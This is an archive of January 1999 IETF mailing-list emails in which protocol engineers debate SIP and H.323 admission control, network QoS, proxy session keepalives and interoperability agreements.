	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 18:04:09 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA14017
	for <confctrl@isi.edu>; Thu, 21 Jan 1999 18:04:04 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Jan 21 21:03:56 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.98])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id VAA10975;
	Thu, 21 Jan 1999 21:03:53 -0500 (EST)
Message-ID: <36A7DC53.D1CA449B@dnrc.bell-labs.com>
Date: Thu, 21 Jan 1999 21:02:59 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Jim Toga <jim.toga@intel.com>
CC: "Paul E. Jones" <paul.jones@ties.itu.int>, Hanlin_Fang@3com.com,
        Aishling <irelanda@tcd.ie>, iptel@lists.research.bell-labs.com,
        confctrl@ISI.EDU
Subject: Re: SIP
References: <025d01be457f$98ac62b0$aec965c0@pjones.databeam.com> <3.0.5.32.19990121164201.0085de20@ibeam.intel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jim Toga wrote:
> 
> >There are several issues here that are being roled into one. SIP does
> >not address network QoS. That is left to other mechanisms, such as RSVP
> >and/or diffserv. With RSVP, routers would reject reservations once the
> >capacity in a router is reached. With diffserv, border routers will have
> >policers to make sure that people abide by their SLA's; other mechanisms
> >might be put in place to deal with overloads. The problem you mention is
> >not SIP specific at all (which is why network QoS is not addressed in
> >SIP). What happens if everyone tries to send email? Or enter chat rooms?
> >Or make H.323 calls?
> 
> Call admission by H.323 Gatekeepers can be used in this case to match
> provisioning with capacity.   The behaviour might exactly mimic the current
> PSTN.

SIP servers can also do "admission control", by rejecting requests (see
my previous message). So, whatever logic you have behind the admission
decisions in RAS, you could put in a SIP server too. However, its not
clear how either a SIP server or H.323 gatekeeper would be able to
actually make a decision which mimics the PSTN. In the PSTN, the
circuits flow through the switch which makes the admission decision, and
the switch sees every setup message for a circuit that goes through it.
In the Internet, media doesn't flow through gatekeepers or SIP servers,
and neither will have knowledge of network topologies or other
applications. So, if there is lots of web traffic on an intranet, I
don't really see how a single application specific box could know how
much bandwidth is actually available on all links between a caller and
callee. Only routers can do that, and thats why QoS control is done with
things like RSVP and diffserv.

> >What if there are no servers? What if users try and contact each other
> >directly? In that case, you will need to make use of network QoS
> >management techniques. This is also not SIP specific. If two H.323
> >terminals communicate directly, you'll have the same problem.
> 
> This is exactly why the standard stipulates that _if_ Gatekeepers are
> present, they must be utilized.

Question: besides the specification, what prevents a client from
ignoring them anyway? A big theme on another thread has been that
clients often disobey or misimplement portions of a spec. IP is IP, and
two hosts with globally routable IP addresses can always communicate.
Seems like a bullet item for a feature in fact: no call rejections - the
user's software just tries to call the other user directly, ignoring the
admission rejections.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jan 21 18:25:48 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA27076
	for confctrl-outgoing; Thu, 21 Jan 1999 18:25:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA27071
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 18:25:46 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA16012
	for <confctrl@ISI.EDU>; Thu, 21 Jan 1999 18:25:45 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA12169;
	Thu, 21 Jan 1999 21:25:44 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA08479;
	Thu, 21 Jan 1999 21:25:43 -0500 (EST)
Message-ID: <36A7E1A7.68189143@cs.columbia.edu>
Date: Thu, 21 Jan 1999 21:25:43 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: "Adam B. Roach" <Adam.Roach@Ericsson.com>,
        "Donovan Steven R." <Steven.R.Donovan@mci.com>, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199901212120.PAA08218@b04a24.exu.ericsson.se> <36A7CB74.49A4B06B@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 

> 
> Doing this is easy. We add a header field called "Refresh", which is set
> by the UAC in the re-INVITEs. Proxies MAY increase the value as the
> re-INVITE is forwarded, but shouldn't decrease it. The UAS MAY then
> increase it, and reflect the final value in the response. All stateful
> proxies and the UAC then note the refresh value. The UAC must then
> re-issue an INVITE before the time expires. If it doesn't everyone knows
> the call is terminated. This solution requires the UAC to know about it.
> It can be optional (and thus no Require header placed in the request),
> and the UAC and all proxies will know if the UAS doesn't support it, if
> the response contains no Refresh header. If made mandatory, the UAS will
> fail the response if it doesn't support keepalives.

How is the refresh interval set?


> 
> I'm unsure even how SUBSCRIBE/NOTIFY would work. Who is subscribing (the
> proxies?) and to what? If they are subscribing to the event "call
> terminated", this is totally redundant since BYE serves exactly this
> purpose. Plus, there are security implications to allowing proxies to
> subscribe to call state. SUBSCRIBE/NOTIFY doesn't give periodic
> refreshes; thats the whole point - you don't need to poll.

One way I've interpreted this is that whoever wants a liveness
indication subscribes to the event 'timer expiration', which will
trigger either a one-time or periodic (depending on the definition of
events) notification.

> 
> >
> > b) This implementation requires the addition of timers in a client.
> >    Currently, a simple, single-threaded client without re-entrancy or
> >    complicated signal handling is possible. By adding a timer
> >    requirement on the clients, this all changes.
> 
> Clients will need timers to support request/response retransmission. For
> TCP, responses must still be retransmitted.

Also, even a basic system will need timers for ARP and other low-level
protocol things, so this is not a big deal.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Jan 21 18:59:52 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA28482
	for confctrl-outgoing; Thu, 21 Jan 1999 18:59:52 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA28477
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 18:59:51 -0800 (PST)
Received: from fep7.mail.ozemail.net (fep7.mail.ozemail.net [203.2.192.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA18787
	for <confctrl@isi.edu>; Thu, 21 Jan 1999 18:59:39 -0800 (PST)
Received: from dcloweslap (h168.unit21.ozemail.com.au [203.108.13.168]) by fep7.mail.ozemail.net (8.9.0/8.6.12) with SMTP id NAA20102; Fri, 22 Jan 1999 13:57:38 +1100 (EST)
Message-Id: <3.0.3.32.19990122135730.015a62ac@mail.ozemail.com.au>
X-Sender: dclowes@mail.ozemail.com.au
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 22 Jan 1999 13:57:30 +1100
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        "Paul E. Jones" <paul.jones@ties.itu.int>
From: Douglas Clowes <dclowes@ozemail.com.au>
Subject: Re: SIP
Cc: Henning Schulzrinne <hgs@cs.columbia.edu>, Hanlin_Fang@3com.com,
        Aishling <irelanda@tcd.ie>, iptel@lists.research.bell-labs.com,
        confctrl@ISI.EDU
In-Reply-To: <36A7CFE7.BE49C6D8@dnrc.bell-labs.com>
References: <02ea01be4596$160638b0$aec965c0@pjones.databeam.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 20:09 1999-01-21 -0500, Jonathan Rosenberg wrote:
>Paul E. Jones wrote:
>> 
>> Are there any efforts going on inside the IETF or in other groups to define
>> a complete IP telephony solution using SIP?  That is, are there any
>> documents in existence or under construction that provide guidance to
>> implementers or service providers that address bandwidth issues, user
>> location, security, roaming, etc.  Is anyone addressing the issues of
lawful
>> interception or access to emergency services in the SIP environment?
>
>Some of these issues are being addressed; SIP itself addresses security,
>relying in part on existing mechanisms, such as TLS or IPSEC. User
>location is one of the features of SIP; work is going on in the enum
>group (not yet a working group) around doing it for telephone numbers. I
>know of efforts regarding roaming services and emergency services (a
>REALLY hard problem in an Internet context), but nothing at the
>standards level.
>
>However, there is currently no IETF effort to specify a "complete
>solution" for IP telephony. In general, this is not something IETF does.
>It is good at making nice, general purpose, modular protocols, and the
>job of putting it all together for a complete solution is something that
>the service providers and vendors do, as there is more than one right
>way, and it leaves room for growth and value add. 

And there are any number of almost, but not quite, entirely
non-interoperable implementations. While there is more than one way that
might be right, there are far more that are not right.
Product-differentiation, market-fragmentation, or customer-lockin: call it
what you will.

>Seems to have worked so far; there are many applications on the net
>which involve a mix of protocols. THe web is certainly one example - it
>relies on http, of course, but also on back end directory services for
>dynamic content, HTML, Java, Javascript, HTTP-CGI, cache replication
>protocols, and lots of media types and plugins. There is no one spec
>which tells vendors what to implement in their servers.

And there are so many ways that these things can and do break. With the
latest browser version available, I still got a site that told me my
browser was too old and I should get an update before I come back. It breaks.


>> 
>> In order to deploy a global IP telephony solution based on SIP and related
>> technologies, we must have a standard that addresses the "loose ends" that
>> the protocols by themselves do not.
>
>I'm not yet convinced that we "MUST" have such a standard. I agree there
>must be solutions to the various component problems, but not all in one,
>birthday wrapped solution. Grandiose, all encompassing solutions have a
>bad habit of never making it.

The solution seems to be the "Implementation Agreement" where, instead of
the standards body picking and choosing, a group of vendors, implementors,
or customers (or all three) get together and make the choices. Sometimes
each group gets together separately and we get three or more IAs.

IMTC has an IA on VoIP telephony. ETSI TIPHON is a selection and tightening
of the standards. There's also iNOW! and TIPIA. And some others that escape
me ...

>From the box builder's POV, he wants to build boxes with any damn standard
he want to, and update to the latest protocols to remain "whiz bang". From
the box buyers POV, he wnats to buy boxes from different vendors and have
them work in his existing installation. He doesn't want to find that of the
two new boxes he bought, one uses RADIUS while the other one, with the
higher serial number uses DIAMETER and that neither works with the same
models he bought last year from the same vendor that use TACACS+.

Some people want to sell boxes. Some people want to buy systems.

Douglas

>-Jonathan R.
>
>-- 
>Jonathan D. Rosenberg                       Lucent Technologies
>Member of Technical Staff                   101 Crawfords Corner Rd.
>High Speed Networks Research                Holmdel, NJ 07733
>FAX: (732) 834-5379                         Rm. 4C-526
>EMAIL: jdrosen@bell-labs.com
>URL: http://www.cs.columbia.edu/~jdrosen
>---------
>This message came from the IETF IPTEL Working Group Mailing List.
>
>


From confctrl-owner  Thu Jan 21 19:04:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA28633
	for confctrl-outgoing; Thu, 21 Jan 1999 19:04:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA28624
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 19:04:38 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA19105
	for <confctrl@isi.edu>; Thu, 21 Jan 1999 19:04:36 -0800 (PST)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id VAA05808;
	Thu, 21 Jan 1999 21:05:44 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id VAA24397;
	Thu, 21 Jan 1999 21:03:52 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id VAA18472; Thu, 21 Jan 1999 21:03:51 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id VAA09551; Thu, 21 Jan 1999 21:05:03 -0600 (CST)
Message-Id: <199901220305.VAA09551@b04a24.exu.ericsson.se>
Subject: Re: Proxy Server Inconsistencies
To: jdrosen@dnrc.bell-labs.com (Jonathan Rosenberg)
Date: Thu, 21 Jan 1999 21:05:03 -0600 (CST)
Cc: confctrl@ISI.EDU
In-Reply-To: <36A7CB74.49A4B06B@dnrc.bell-labs.com> from "Jonathan Rosenberg" at Jan 21, 99 07:51:00 pm
From: Adam.Roach@Ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>

>Adam B. Roach wrote:
>> Given that support of any keepalive mechanism should be mandatory
>> in order to be at all useful, it seems a bit shortsighted to leave
>> it out of the first version of the specification, does it not?
>
>It still seems to me that this is largely a non-issue. The spec
>currently says a BYE SHOULD be sent, and under normal situations, it
>will. With Record-Route, this means a stateful proxy will know the
>session state in most cases. So, we have yet to see if this is really a
>problem.

I can tell you, from the persepctive of implementing a proxy right
now, that _it_ _is_ _a_ _problem_. "Most cases" does not work, since
the exceptions will pile up call records until the proxy is restarted
(which, in a carrier class network, should be months or even years
of operation). Not addressing this problem makes SIP entirely
useless for value added service implementation at the server level,
which is something that many operators are very interested in.

>> >1) Add a user agent based session keep alive message (I'm still involved in
>> >this session).  The proxy would tear down the session if the keep alive was
>> >not received within a predefined timer.
>> 
>> (e.g. SUBSCRIBE/NOTIFY)
>>
>SUBSCRIBE and NOTIFY are not at all what I interpet this to mean. To me,
>it means that the caller periodically retransmits the INVITE to keep the
>session "alive" at stateful proxies and the UAS.

I beleive you are describing option (3), below.

[on the re-INVITE keepalive solution]:
>This solution requires the UAC to know about it.

Therein lies the first problem.

>It can be optional...

This is the second.  

If a *proxy-originated* method of determining the "liveness" of
a session is not made *mandatory*, like I said above, the implementation 
of most value added services at the server level becomes impossible.

I'm not just blindly asserting this; I gave a good example in my
original message last week. I'm running into this very real problem 
right now as I sit here implementing a SIP server. Without support from
the protocol, there is no solution.

Let me summarize:

A proxy may be keeping track of a call during its entire
duration (there are a number of reasons this may be done).
This is effected by using Record-Route. If, however, a BYE 
fails to arrive (for whatever reason) at the termination of 
a call, the proxy must know to delete the call record. If the
proxy deletes a call record before a session is terminated
(by timeout, for example), it makes the routing of subsequent
call messages impossible (since the information regarding the
ultimate destination of an INVITE may no longer be available).
Without the ability for a proxy server to check the liveness
of a session, there is no way to rectify this problem.

>As an alternative, SDP can already specified sessions bounded in time.
>Thus, one possibility is to forgo any new header fields and simply use
>this. But, if we had to choose I'd rather do it with a SIP header.

I agree that this should be done in SIP, not SDP. Proxies should not be 
required to interpret the payload of their messages; they should merely 
forward them.

>I'm unsure even how SUBSCRIBE/NOTIFY would work. Who is subscribing (the
>proxies?) and to what? If they are subscribing to the event "call
>terminated", this is totally redundant since BYE serves exactly this
>purpose. Plus, there are security implications to allowing proxies to
>subscribe to call state. SUBSCRIBE/NOTIFY doesn't give periodic
>refreshes; thats the whole point - you don't need to poll.

I'm not sure how much discussion of this topic has been done on the
mailing lists, so perhaps I'm assuming too much. Henning has offered
the idea that the SUBSCRIBE/NOTIFY mechanism be extended to include
a more general mechanism for learning more about what is going on.
In this case, you'd be subscribing for either a periodic notification
of a session's existance or an immediate notification of it. The 
latter case is hardly worth considering, since it involves four
messages per period. The former is lightweight (from a protocol
point of view, not an implementaiton one), but requires mandatory
client support to fix the problem I'm describing.

>> b) This implementation requires the addition of timers in a client.
>>    Currently, a simple, single-threaded client without re-entrancy or
>>    complicated signal handling is possible. By adding a timer
>>    requirement on the clients, this all changes.
>
>Clients will need timers to support request/response retransmission. For
>TCP, responses must still be retransmitted.

True; however, these can be done serially with, for example, a timeout
in a select() statement. Adding timers during the session itself requires
an interruption of call-related processing by a periodic signal.

>> >2) Add a proxy based session ping message (Are you still involved in this
>> >session).  The proxy would wait for a response to the ping request.  If no
>> >response is received within a predefined time then the proxy would tear down
>> >the session.
>
>This doesn't seem to be better in any measurable way from (1) (at least,
>from my interpretation of (1). Its more messages, a new method (as
>opposed to a new header), and more complex.

It does, however, allow the proxy to impose supervision on a session when
the clients have no reason to do so. This is absolutely necessary
for, as I've said, the implementation of value added services.

It is fewer messages: in an ideal case (a compliant client), it
sends one message per polling period (merely another conditional
response). In a conditionally compliant client, it sends two 
messages per polling period (a PING and a response). A re-INVITE,
on the other hand, will always send three messages (an INVITE, a
response, and an ACK).

The semantics of adding a new header to any of the existing methods
are very difficult, when considering the case of a proxy-initiated
keep-alive or ping system. I'm not fighting for the addition
of a new method because it sounds like fun. I'd like to solve this
problem with a little impact as possible. While there *do* appear to
be solutions in 99% of the realistic cases, that 1%, or even
1 in a million in which they fail, will add up quickly at 100 
transactions per second over the course of a year.

Beleive me, I understand the implications of adding a new method.
I'd like to avoid it, but can't see a reasonable solution otherwise.

>> If message overhead is such a major concern, we could define a behaviour
>> for PING that results in one message per period in a compliant case,
>> and two per period in a conditionally compliant case. By adding a
>> header to the ping method, "Period," we can request that the client
>> re-send a ping response every n seconds. If the proxy fails to hear
>> from the client within that time period, it re-sends a PING. By making
>> support of the "Period" header a SHOULD, we allow simple clients to
>> wait for the proxy retransmission, while giving more savvy clients
>> the capability to cut down on network traffic by sending pre-emptive
>> responses. The only problem with this is that it introduces the
>> concept of multiple final responses for a message (unless we add
>> a 1xx-class message as the recurring response to a PING -- which
>> may be a useful differentiation anyway, since it will let the
>> requesting server know whether to expect future periodic responses).
>
>This notion of not resending the PING request doesn't work with UDP,
>since request retransmissions are needed to ensure reliability.

Perhaps you misunderstand what I am suggesting. A potential
implementation would be:

A PING request would be retransmitted (T1, doubled each time, max of T2,
up to 11 times) until a provisional or final response is received. Once 
that is accomplished, it is only retransmitted at the frequency specified 
in the "Period" header. As long as another provisional response is 
received in at the freqency specified in the "Period" header, the PING
is not retransmitted.

If an 11th retransmition of a PING fails to provoke a response, we 
consider the call dead.

This allows the client to either send back a 2xx message and ignore
the "Period" (since they will be re-queried later), or to send
a 1xx message at the frequency defined by "Period" (to cut down on
network overhead).

/a

From confctrl-owner  Thu Jan 21 19:36:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA00225
	for confctrl-outgoing; Thu, 21 Jan 1999 19:36:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA00220
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 19:36:15 -0800 (PST)
Received: from fep7.mail.ozemail.net (fep7.mail.ozemail.net [203.2.192.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA21495
	for <confctrl@isi.edu>; Thu, 21 Jan 1999 19:36:12 -0800 (PST)
Received: from dcloweslap (h168.unit21.ozemail.com.au [203.108.13.168]) by fep7.mail.ozemail.net (8.9.0/8.6.12) with SMTP id OAA18914; Fri, 22 Jan 1999 14:35:42 +1100 (EST)
Message-Id: <3.0.3.32.19990122143531.01530df4@mail.ozemail.com.au>
X-Sender: dclowes@mail.ozemail.com.au
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Fri, 22 Jan 1999 14:35:31 +1100
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Jim Toga <jim.toga@intel.com>
From: Douglas Clowes <dclowes@ozemail.com.au>
Subject: Re: SIP
Cc: "Paul E. Jones" <paul.jones@ties.itu.int>, Hanlin_Fang@3com.com,
        Aishling <irelanda@tcd.ie>, iptel@lists.research.bell-labs.com,
        confctrl@ISI.EDU
In-Reply-To: <36A7DC53.D1CA449B@dnrc.bell-labs.com>
References: <025d01be457f$98ac62b0$aec965c0@pjones.databeam.com>
 <3.0.5.32.19990121164201.0085de20@ibeam.intel.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Question: besides the specification, what prevents a client from
>ignoring them anyway? A big theme on another thread has been that
>clients often disobey or misimplement portions of a spec. IP is IP, and
>two hosts with globally routable IP addresses can always communicate.
>Seems like a bullet item for a feature in fact: no call rejections - the
>user's software just tries to call the other user directly, ignoring the
>admission rejections.
>
>-Jonathan R.

Of course, if it doesn't implement the spec, it doesn't conform to the spec.

People could ignore the standards and implement their own protocol. I think
that's happened before. Once or twice.

Let's see now, a firewall with proxies that only let through known
protocols and check with the gatekeeper for H.323 admission. Scarey!

Regards,

Douglas


From confctrl-owner  Thu Jan 21 19:42:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA00514
	for confctrl-outgoing; Thu, 21 Jan 1999 19:42:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA00509
	for <confctrl@zephyr.isi.edu>; Thu, 21 Jan 1999 19:42:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA21961
	for <confctrl@isi.edu>; Thu, 21 Jan 1999 19:42:01 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Thu Jan 21 22:40:37 EST 1999
Received: from dnrc.bell-labs.com (hamster [135.180.130.93])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id WAA14435;
	Thu, 21 Jan 1999 22:40:36 -0500 (EST)
Message-ID: <36A7F3A2.D9E1BB56@dnrc.bell-labs.com>
Date: Thu, 21 Jan 1999 22:42:26 -0500
From: Ping Pan <pingpan@dnrc.bell-labs.com>
Organization: Bell Labs, Lucent
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en,zh,zh-CN
MIME-Version: 1.0
To: Douglas Clowes <dclowes@ozemail.com.au>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Henning Schulzrinne <hgs@cs.columbia.edu>,
        iptel@lists.research.bell-labs.com, confctrl@ISI.EDU
Subject: Re: SIP
References: <02ea01be4596$160638b0$aec965c0@pjones.databeam.com> <3.0.3.32.19990122135730.015a62ac@mail.ozemail.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Douglas Clowes wrote:
> 
> >From the box builder's POV, he wants to build boxes with any damn standard
> he want to, and update to the latest protocols to remain "whiz bang". From
> the box buyers POV, he wnats to buy boxes from different vendors and have
> them work in his existing installation. He doesn't want to find that of the
> two new boxes he bought, one uses RADIUS while the other one, with the
> higher serial number uses DIAMETER and that neither works with the same
> models he bought last year from the same vendor that use TACACS+.
>

Sure. That's why some of us (from multiple vendors) are working hard
toward a single standard protocol that can provide accounting,
authentication and admission control for many emerging internet
applications (IP telephony included). Actually, some of us are not
interested in "whiz bang", rather the market itself.
 
> Some people want to sell boxes. Some people want to buy systems.
> 

Yep, we want to sell the boxes now so that the customers can get into
the service games as soon as possible. As the protocol and development
evolving, the sellers can always send software versions to keep the
customers up to date.

> Douglas
> 

Regards,

--
Ping Pan    phone: (732)-332-6744   fax: (732)-834-5379

From confctrl-owner  Fri Jan 22 04:48:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA17215
	for confctrl-outgoing; Fri, 22 Jan 1999 04:48:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA17210
	for <confctrl@zephyr.isi.edu>; Fri, 22 Jan 1999 04:48:37 -0800 (PST)
Received: from internal.mediatrix.com ([205.237.248.36])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA18166
	for <confctrl@isi.edu>; Fri, 22 Jan 1999 04:48:36 -0800 (PST)
Received: by INTERNAL with Internet Mail Service (5.5.2232.9)
	id <DNC8QFNL>; Fri, 22 Jan 1999 07:54:19 -0500
Message-ID: <F16674FCE856D211AC0D00E02910AE0A07B471@INTERNAL>
From: Francois Menard Distribution List Management Account
	 <fm-listproc@mediatrix.com>
To: "'Douglas Clowes'" <dclowes@ozemail.com.au>,
        Jonathan Rosenberg
	 <jdrosen@dnrc.bell-labs.com>,
        Jim Toga <jim.toga@intel.com>
Cc: "Paul E. Jones" <paul.jones@ties.itu.int>, Hanlin_Fang@3com.com,
        Aishling <irelanda@tcd.ie>, iptel@lists.research.bell-labs.com,
        confctrl@ISI.EDU
Subject: RE: SIP
Date: Fri, 22 Jan 1999 07:54:18 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Let's see now, a firewall with proxies that only let through known
protocols and check with the gatekeeper for H.323 admission. Scarey!

No no, 

The whole H.323 hypothesis is that you can control the end-points and force
them to use a given gatekeeper.  This is as long as the end-users are not
capable of figuring out how to change the config of the end-points to bypass
the GK...

I've always maintained that on the Internet, it is not because you route a
call that you can bill for it.

In H.323 on the Internet, you can bill for:

1. QOS for all apps at the same time on the host
2. PSTN access through a metered H.323 PSTN gateway
3. Apps on GKs. (i.e. there is some value in a GK translating a phone number
to a dynamic IP address)

So I do not believe that basic H.RAS stuff actually makes it possible to
derive a bill.  GK-routed call models are a billing mechanism, not a
bandwidth preserving thing.  So IMHO, by definition, it is only possible as
long as you can force the end-points to collaborate.

Same for a SIP server-routed call models too.  But then, SIP makes no
assumption about the rationality of SIP-server call routed models to create
illusions about the real problems of IP telephony.

-=Francois=-




From confctrl-owner  Fri Jan 22 05:35:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA18802
	for confctrl-outgoing; Fri, 22 Jan 1999 05:35:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA18797
	for <confctrl@zephyr.isi.edu>; Fri, 22 Jan 1999 05:35:09 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA20335
	for <confctrl@isi.edu>; Fri, 22 Jan 1999 05:35:07 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id IAA15383;
	Fri, 22 Jan 1999 08:35:06 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id IAA17888;
	Fri, 22 Jan 1999 08:35:05 -0500 (EST)
Message-ID: <36A87E89.D298FF97@cs.columbia.edu>
Date: Fri, 22 Jan 1999 08:35:05 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Douglas Clowes <dclowes@ozemail.com.au>
CC: iptel@lists.research.bell-labs.com, confctrl@ISI.EDU
Subject: Re: SIP
References: <02ea01be4596$160638b0$aec965c0@pjones.databeam.com> <3.0.3.32.19990122135730.015a62ac@mail.ozemail.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Douglas Clowes wrote:
> 

> And there are any number of almost, but not quite, entirely
> non-interoperable implementations. While there is more than one way that
> might be right, there are far more that are not right.
> Product-differentiation, market-fragmentation, or customer-lockin: call it
> what you will.

There may well be value in agreements beyond protocol specs. However,
there's often the suspicion that many of these industry bodies are
clean-up crews for standards that could have been clearer, been based on
more implementation experience or more layered/modular to begin with.
The abundance of these organizations also raises the cost of entry, so
they are probably at best a necessary evil, not a model to strive for.
Note also that the traditional telecom world is hardly a model to
emulate here, if you recall trivial things like the number of different
phone plugs, dialing plans or ringing patterns (see a previous
discussion on rem-conf) in the world or the number of ISUP/TUP/other
signaling variants. At least email and web access from India to the US
works without gateways and translators and interoperability agreements
and I don't have to be certified as compliant in each of those countries
:-)


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

